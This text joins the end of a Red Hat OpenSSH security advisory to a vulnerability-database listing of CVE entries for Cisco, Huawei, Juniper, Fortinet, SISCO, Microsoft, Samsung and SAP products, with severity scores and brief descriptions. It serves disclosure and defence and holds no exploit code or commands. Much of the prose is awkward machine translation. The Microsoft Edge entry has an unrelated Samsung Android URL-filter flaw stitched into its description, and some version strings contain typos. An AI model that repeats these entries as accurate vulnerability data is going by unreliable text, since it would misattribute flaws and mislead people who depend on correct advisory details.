openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2016-0777
https://access.redhat.com/security/cve/CVE-2016-0778
https://access.redhat.com/security/updates/classification/#moderate
https://access.redhat.com/articles/2123781
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2016 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo
nXgYWs8cZcyoTRVoriTGHQo=
=1sk9
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201601-0001 | CVE-2015-6314 | Cisco Wireless LAN Controller Vulnerability in changing configuration settings in device software |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Cisco Wireless LAN Controller (WLC) devices with software 7.6.x, 8.0 before 8.0.121.0, and 8.1 before 8.1.131.0 allow remote attackers to change configuration settings via unspecified vectors, aka Bug ID CSCuw06153. Vendors have confirmed this vulnerability Bug ID CSCuw06153 It is released as.The configuration settings may be changed by a third party. The Cisco WLC is responsible for system-wide wireless LAN functions such as security policy, intrusion protection, RF management, quality of service, and mobility. This may allow an attacker to take complete control of the device.
This issue is being tracked by Cisco Bug ID CSCuw06153. The following versions are affected: Cisco WLC 7.6.120.0 and above, 8.0 and above, 8.1 and above
| VAR-201601-0005 | CVE-2015-6336 | Cisco Aironet 1800 Vulnerabilities that can gain access rights in device software |
CVSS V2: 7.5 CVSS V3: 7.3 Severity: HIGH |
Cisco Aironet 1800 devices with software 7.2, 7.3, 7.4, 8.1(112.3), 8.1(112.4), and 8.1(15.14) have a default account, which makes it easier for remote attackers to obtain access via unspecified vectors, aka Bug ID CSCuw58062. Vendors have confirmed this vulnerability Bug ID CSCuw58062 It is released as.Access may be obtained by a third party. This may aid in further attacks.
This issue being tracked by Cisco Bug ID CSCuw58062
| VAR-201601-0007 | CVE-2015-6323 | Cisco Identity Services Engine Vulnerabilities that can gain management access in the management portal |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
The Admin portal in Cisco Identity Services Engine (ISE) 1.1.x, 1.2.0 before patch 17, 1.2.1 before patch 8, 1.3 before patch 5, and 1.4 before patch 4 allows remote attackers to obtain administrative access via unspecified vectors, aka Bug ID CSCuw34253. Vendors have confirmed this vulnerability Bug ID CSCuw34253 It is released as.A third party may gain administrative access.
An remote attacker can exploit this issue to gain unauthorized access, which may lead to a complete compromise of an affected device.
This issue is being tracked by Cisco bug ID CSCuw34253. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies. An unauthorized access vulnerability exists in Cisco ISE. The following versions are affected: Cisco ISE running 1.1 and above, 1.2.0 prior to patch 17, 1.2.1 prior to patch 8, 1.3 prior to patch 5, and 1.4 prior to patch 4 software
| VAR-201601-0002 | CVE-2015-6317 | Cisco Identity Services Engine In Web Vulnerabilities that prevent access to resources |
CVSS V2: 6.8 CVSS V3: 6.5 Severity: MEDIUM |
Cisco Identity Services Engine (ISE) before 2.0 allows remote authenticated users to bypass intended web-resource access restrictions via a direct request, aka Bug ID CSCuu45926. Vendors have confirmed this vulnerability Bug ID CSCuu45926 It is released as. Supplementary information : CWE Vulnerability type by CWE-284: Improper Access Control ( Inappropriate access control ) Has been identified. http://cwe.mitre.org/data/definitions/284.htmlVia a direct request by a remotely authenticated user, Web Access restrictions to resources may be avoided.
Attackers can exploit this issue to gain unauthorized access to the affected application. This may aid in further attacks. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies
| VAR-201601-0698 | No CVE | Huawei CloudEngine Series Switches Denial of Service Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Huawei CloudEngine Series Switches are the CloudEngine series switches of Huawei.
A denial of service vulnerability exists in Huawei CloudEngine Series Switches. An attacker could use this vulnerability to cause a program to deny legitimate users
| VAR-201601-0674 | No CVE | Fortigate firewall has SSH authentication backdoor vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
FortiGate (FortiGate firewall) is a network firewall product launched by Fortinet, which is used to defend against network and malicious code attacks at the network layer and content layer.
Fortigate firewall has SSH authentication backdoor vulnerability. Since the password of the FortiGate firewall Fortimanager_Access user is generated by a relatively simple algorithm, the attacker can directly obtain the highest authorized (root) authority for authentication after analyzing and cracking, and then control the firewall device. The subsequent attacker can use the firewall as a springboard to penetrate the internal area Network, perform operations such as information sniffing and data interception
| VAR-201604-0328 | CVE-2015-8677 | plural Huawei Service disruption in products (DoS) Vulnerabilities |
CVSS V2: 6.8 CVSS V3: 6.5 Severity: MEDIUM |
Memory leak in Huawei S5300EI, S5300SI, S5310HI, and S6300EI Campus series switches with software V200R003C00 before V200R003SPH011 and V200R005C00 before V200R005SPH008; S2350EI and S5300LI Campus series switches with software V200R003C00 before V200R003SPH011, V200R005C00 before V200R005SPH008, and V200R006C00 before V200R006SPH002; S9300, S7700, and S9700 Campus series switches with software V200R003C00 before V200R003SPH011, V200R005C00 before V200R005SPH009, and V200R006C00 before V200R006SPH003; S5720HI and S5720EI Campus series switches with software V200R006C00 before V200R006SPH002; and S2300 and S3300 Campus series switches with software V100R006C05 before V100R006SPH022 allows remote authenticated users to cause a denial of service (memory consumption and device restart) by logging in and out of the (1) HTTPS or (2) SFTP server, related to SSL session information. HuaweiS5300EI is a Huawei S series switch product. A number of Huawei products have a memory leak vulnerability in the HTTPS or SFTP server, allowing remote attackers to consume memory and log in and out of the HTTPS or SFTP server for denial of service attacks. Multiple Huawei Switches are prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue to cause a memory exhaustion, denying service to legitimate users. The Huawei S5300EI and others are all S-series switch products of China's Huawei (Huawei). Memory leak vulnerabilities exist in several Huawei products. The following products and versions are affected: using V200R003C00 version and V200R005C00 version software Huawei S5300EI , S5300SI , S5310HI , S6300EI ,use V200R003C00 Version, V200R005C00 version and V200R006C00 version software Huawei S2350EI , S5300LI , S9300 , S7700 , S9700 ,use V200R006C00 version software Huawei S5720HI, S5720EI, Huawei S2300, S3300 using V100R006C05 software
| VAR-201612-0252 | CVE-2015-6574 | specific SISCO MMS-EASE and AX-S4 ICCP of the product SNAP Lite Denial of service in components (DoS) Vulnerability |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
The SNAP Lite component in certain SISCO MMS-EASE and AX-S4 ICCP products allows remote attackers to cause a denial of service (CPU consumption) via a crafted packet. (CPU consumption of resources ) It may be in a state. SISCOMMS-EASE and AX-S4ICCP are products of SISCO Corporation of the United States. The former is a set of C language programming interface (API) for MMS (manufacturing message specification), and the latter is a set of data sharing software. SNAP-LiteUtility is one of the data mining and analysis components. There are security vulnerabilities in the SNAP-LiteUtility component V3.2000 in the SISCOMMS-EASE and AX-S4ICCP products. SISCO SNAP-Lite Utility is prone to a denial-of-service vulnerability.
Attackers can exploit this issue to cause the application to enter an infinite loop and consume excessive CPU resources, resulting in denial-of-service conditions.
SISCO SNAP-Lite Utility 3.2000 is vulnerable; other versions may also be affected
| VAR-201604-0327 | CVE-2015-8676 | plural Huawei Service disruption in products (DoS) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Memory leak in Huawei S5300EI, S5300SI, S5310HI, S6300EI/ S2350EI, and S5300LI Campus series switches with software V200R001C00 before V200R001SPH018, V200R002C00 before V200R003SPH011, and V200R003C00 before V200R003SPH011; S9300, S7700, and S9700 Campus series switches with software V200R001C00 before V200R001SPH023, V200R002C00 before V200R003SPH011, and V200R003C00 before V200R003SPH011; and S2300 and S3300 Campus series switches with software V100R006C05 before V100R006SPH022 allows remote attackers to cause a denial of service (memory consumption and reboot) via a large number of ICMPv6 packets. HuaweiS5300EI is a Huawei S series switch product. The HuaweiS5300EI handles memory leaks in ICMPv6 packets, allowing remote attackers to exploit vulnerabilities to submit special requests for denial of service attacks. Multiple Huawei Switches are prone to a remote denial-of-service vulnerability. The Huawei S5300EI and others are all S-series switch products of China's Huawei (Huawei). Memory leak vulnerabilities exist in several Huawei products. The following products and versions are affected: Huawei S5300EI, S5300SI, S5310HI, S6300EI, S2350EI, S5300LI, S9300, S7700, and S9700 using software V200R001C00, V200R002C00, and V200R003C00;
| VAR-201601-0004 | CVE-2015-6320 | Cisco Aironet 1800 Device software IP Service interruption in ingress packet handler (DoS) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
The IP ingress packet handler on Cisco Aironet 1800 devices with software 8.1(112.3) and 8.1(112.4) allows remote attackers to cause a denial of service via a crafted header in an IP packet, aka Bug ID CSCuv63138. The Cisco Aironet 1800 Series Access Point is a small to medium wireless network access point product. Enables an unauthenticated attacker to cause a denial of service.
This issue is tracked by Cisco Bug ID CSCuv63138
| VAR-201601-0056 | CVE-2016-1257 | Juniper Junos OS of Routing Engine Service disruption in (DoS) Vulnerabilities |
CVSS V2: 4.3 CVSS V3: 5.9 Severity: MEDIUM |
The Routing Engine in Juniper Junos OS 13.2R5 through 13.2R8, 13.3R1 before 13.3R8, 13.3R7 before 13.3R7-S3, 14.1R1 before 14.1R6, 14.1R3 before 14.1R3-S9, 14.1R4 before 14.1R4-S7, 14.1X51 before 14.1X51-D65, 14.1X53 before 14.1X53-D12, 14.1X53 before 14.1X53-D28, 14.1X53 before 4.1X53-D35, 14.2R1 before 14.2R5, 14.2R3 before 14.2R3-S4, 14.2R4 before 14.2R4-S1, 15.1 before 15.1R3, 15.1F2 before 15.1F2-S2, and 15.1X49 before 15.1X49-D40, when LDP is enabled, allows remote attackers to cause a denial of service (RPD routing process crash) via a crafted LDP packet. Juniper Junos is prone to a denial-of-service vulnerability.
An attacker may exploit this issue to crash the affected application, resulting in a denial-of-service condition. Juniper Junos OS is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware systems. The operating system provides a secure programming interface and Junos SDK. Routing Engine is one of the routing engine components. A security vulnerability exists in the Routing Engine of Juniper Networks Junos OS. The following versions are affected: Juniper Networks Junos OS 13.2R5 to 13.2R8, 13.3R1 prior to 13.3R8, 13.3R7 prior to 13.3R7-S3, 14.1R1 prior to 14.1R6, 14.1R3 prior to 14.1R3-S9, 14.1 Version 14.1R4 before R4-S7, Version 14.1X51 before 14.1X51-D65, Version 14.1X53 before 14.1X53-D12, Version 14.1X53 before 14.1X53-D28, Version 14.1X53 before 4.1X53-D35, Version 14.2R1 before 14.2R5 , 14.2R3 version before 14.2R3-S4, 14.2R4 version before 14.2R4-S1, 15.1 version before 15.1R3, 15.1F2 version before 15.1F2-S2, 15.1X49 version before 15.1X49-D40
| VAR-201601-0055 | CVE-2016-1256 | Juniper Junos OS Service disruption in (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
Juniper Junos OS There is a service disruption (DoS) There are vulnerabilities that are put into a state. This vulnerability is called multicast service operation disruption.Malformed by a third party IGMPv3 Service disruption via packets (DoS) There is a possibility of being put into a state. Juniper Junos is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause a cause denial-of-service condition. Juniper Junos OS is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware systems. The operating system provides a secure programming interface and Junos SDK. Remote attackers can use malformed IGMPv3 packets to exploit this vulnerability to cause denial of service. The following versions are affected: Juniper Networks Junos OS prior to 12.1X44-D55, 12.1X46 prior to 12.1X46-D40, 12.1X47 prior to 12.1X47-D25, 12.3 prior to 12.3R10, 12.3X48 prior to 12.3X48-D20, 13.2 Version 13.2 before R8, Version 13.2X51 before 13.2X51-D40, Version 13.3 before 13.3R7, Version 14.1 before 14.1R5, Version 14.1X53 before 14.1X53-D18, Version 14.1X55 before 14.1X55-D25, Version 14.2 before 14.2R4, Version 15.1 before 15.1R2, version 15.1X49 before 15.1X49-D10
| VAR-201601-0049 | CVE-2016-1262 | Juniper SRX Runs on series devices Junos OS Service disruption in (DoS) Vulnerabilities |
CVSS V2: 4.3 CVSS V3: 5.9 Severity: MEDIUM |
Juniper Junos OS before 12.1X46-D45, 12.1X47 before 12.1X47-D30, 12.1X48 before 12.3X48-D20, and 15.1X49 before 15.1X49-D30 on SRX series devices, when the Real Time Streaming Protocol Application Layer Gateway (RTSP ALG) is enabled, allow remote attackers to cause a denial of service (flowd crash) via a crafted RTSP packet. Juniper Junos is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Juniper Networks Junos on SRX Series devices is a set of network operating systems of Juniper Networks (Juniper Networks) running on SRX series service gateway devices. The operating system provides a secure programming interface and Junos SDK. A security vulnerability exists in Juniper Networks Junos OS on SRX Series devices. The following versions are affected: Juniper Networks Junos OS prior to 12.1X44-D60, 12.1X46 prior to 12.1X46-D45, 12.1X47 prior to 12.1X47-D30, 12.3 prior to 12.3R10, 12.3X48 prior to 12.3X48-D20, 13.2 Version 13.2X51 before X51-D20, version 13.3 before 13.3R8, version 14.1 before 14.1R6, version 14.2 before 14.2R5
| VAR-201601-0047 | CVE-2016-1258 | Juniper Junos OS of J-Web Used in Embedthis Appweb Service disruption in (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
Embedthis Appweb, as used in J-Web in Juniper Junos OS before 12.1X44-D60, 12.1X46 before 12.1X46-D45, 12.1X47 before 12.1X47-D30, 12.3 before 12.3R10, 12.3X48 before 12.3X48-D20, 13.2X51 before 13.2X51-D20, 13.3 before 13.3R8, 14.1 before 14.1R6, and 14.2 before 14.2R5, allows remote attackers to cause a denial of service (J-Web crash) via unspecified vectors. Juniper Junos Embedthis Appweb Server is prone to a remote denial-of-service vulnerability. Juniper Junos OS is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware systems. The operating system provides a secure programming interface and Junos SDK. J-Web is one of the network management tools. Embedthis Software AppWeb is a fast and small Web server from Embedthis Software in the United States. It is mainly used for embedded applications, devices and Web services, and supports security defense strategies, digest authentication, virtual hosts, etc. A security vulnerability exists in Embedthis Software AppWeb used by J-Web in Juniper Networks Junos OS. The following versions are affected: Juniper Networks Junos OS prior to 12.1X44-D60, 12.1X46 prior to 12.1X46-D45, 12.1X47 prior to 12.1X47-D30, 12.3 prior to 12.3R10, 12.3X48 prior to 12.3X48-D20, 13.2 Version 13.2X51 before X51-D20, version 13.3 before 13.3R8, version 14.1 before 14.1R6, version 14.2 before 14.2R5
| VAR-201601-0504 | CVE-2016-0003 | Microsoft Edge Vulnerable to arbitrary code execution |
CVSS V2: 9.3 CVSS V3: 9.6 Severity: CRITICAL |
Microsoft Edge allows remote attackers to execute arbitrary code via unspecified vectors, aka "Microsoft Edge Memory Corruption Vulnerability.". User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of text nodes within HTML documents. By manipulating a document's elements an attacker can disclose the contents of memory. An attacker can use this information in conjunction with other vulnerabilities to execute code in the context of the process. SamsungkernelforAndroidonSM-N9005 (Note3) and SM-G920F (GalaxyS6) are the cores of Samsung's Android system running on SM-N9005 (Note3) and SM-G920F (GalaxyS6) (smartphone). Secfilter is one of the URL parsing filter plugins. An input validation vulnerability exists in the secfilter of Samsungkernel for Android in SamsungSM-N9005 (Note3) and SM-G920F (GalaxyS6). An attacker could exploit the vulnerability by bypassing URL filtering by inserting 'exceptionalURL' into the query string.
Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page. Failed attacks will cause denial of service conditions. Samsung kernel for Android on SM-N9005 (Note 3) and SM-G920F (Galaxy S6) are both Korean Samsung (Samsung) running on SM-N9005 (Note 3) and SM-G920F (Galaxy S6) (smart phones) The kernel of the Android system in. There is a security vulnerability in the secfilter of Samsung kernel for Android in Samsung SM-N9005(Note 3) and SM-G920F(Galaxy S6). The following products and versions are affected: Samsung SM-N9005 build N9005XXUGBOB6 (Note 3) version; SM-G920F build G920FXXU2COH2 (Galaxy S6) version. Microsoft Edge is a web browser developed by Microsoft Corporation in the United States, and it is the default browser included with the Windows 10 operating system
| VAR-201601-0419 | CVE-2015-8281 | Samsung SRN-1670D camera contains multiple vulnerabilities |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices allows attackers to bypass filesystem encryption via XOR calculations. The Samsung SRN-1670D camera contains multiple vulnerabilities. In addition, JVNVU#97593732 Then CWE-327 It is published as CWE-327: Use of a Broken or Risky Cryptographic Algorithm https://cwe.mitre.org/data/definitions/327.htmlBy the attacker, XOR Through calculation, file system encryption may be avoided. SamsungSRN-1670D is a network video recorder product. The SamsungSRN-1670D uses a weak custom encryption algorithm based on a simple XOR operation that allows a remote attacker to exploit this vulnerability to obtain arbitrary files and user credentials. An arbitrary file-read vulnerability
2. An information-disclosure vulnerability
3. A security weakness
Successful exploits can allow attackers to read arbitrary files or perform certain unauthorized actions and gain access to potentially sensitive information
| VAR-201601-0535 | CVE-2016-1911 | SAP NetWeaver Vulnerable to cross-site scripting |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
Multiple cross-site scripting (XSS) vulnerabilities in SAP NetWeaver 7.4 allow remote attackers to inject arbitrary web script or HTML via vectors related to the (1) Runtime Workbench (RWB) or (2) Pmitest servlet in the Process Monitoring Infrastructure (PMI), aka SAP Security Notes 2206793 and 2234918. SAP NetWeaver Contains a cross-site scripting vulnerability. Vendors have confirmed this vulnerability SAP Security Note 2206793 and 2234918 It is released as.By any third party Web Script or HTML May be inserted.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks